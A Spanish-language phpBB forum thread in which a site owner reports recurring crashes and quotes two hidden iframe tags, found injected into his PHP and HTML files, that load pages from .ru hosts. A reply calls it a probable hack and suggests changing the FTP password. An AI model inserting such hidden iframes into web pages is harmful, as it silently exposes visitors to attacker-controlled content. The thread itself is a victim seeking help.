Supuesto hack

[rengoloko]

URL: http://comunidad-armys.com.ar/foro/
Versión phpBB: phpBB3 (3.0.5)
MODs Instalados: - AJAX Rej Checks - Anti Doble Post 2.0.3 - Birthday on Registration - Board3Portal 1.0.3 - Expand Categories 1.2.1
- mChat - Megaupload Filebox - Prime: antibot, links, quick reply, subject check, warnings
- Redbar3 - Simple topic Description 0.0.2 - Thanks first post
- Tinypic Plugin - top five - upcoming birthdat 1.0.1 - Very simple guest hide
Plantilla(s) usada(s): Prosilver
Servidor: Pago
Actualización desde otra versión: No
Conversión desde otro sistema de foros: No

El foro en si funciona bien. Resulta que cada dos o tres días se cae. Mirando los archivos via FTP, veo que aparecen códigos que antes no estaban y se borran cosas. Aunque como siempre hago back up y se soluciona. Las primeras dos veces pense que habia sido algun error mío. Pero mirando las lineas en los archivos que supuestamente estaban rotos encuentro lo siguiente:

Código: Seleccionar todo

<iframe src="http://x6r.ru:8080/index.php" width=200 height=174 style="visibility: hidde
<iframe src="http://xc8.ru:8080/index.php" width=140 height=186 style="visibility: hidden"></iframe>

Aparecen direcciones de ese estilo en varios archivos php y html. Alguien sabe que podra ser?


Saludos y gracias

[angelismo]

La url de los codigos ,me la detecta el firefox como web atacante ,asi que puede que sea un hackeo ,cambia la contraseña del ftp .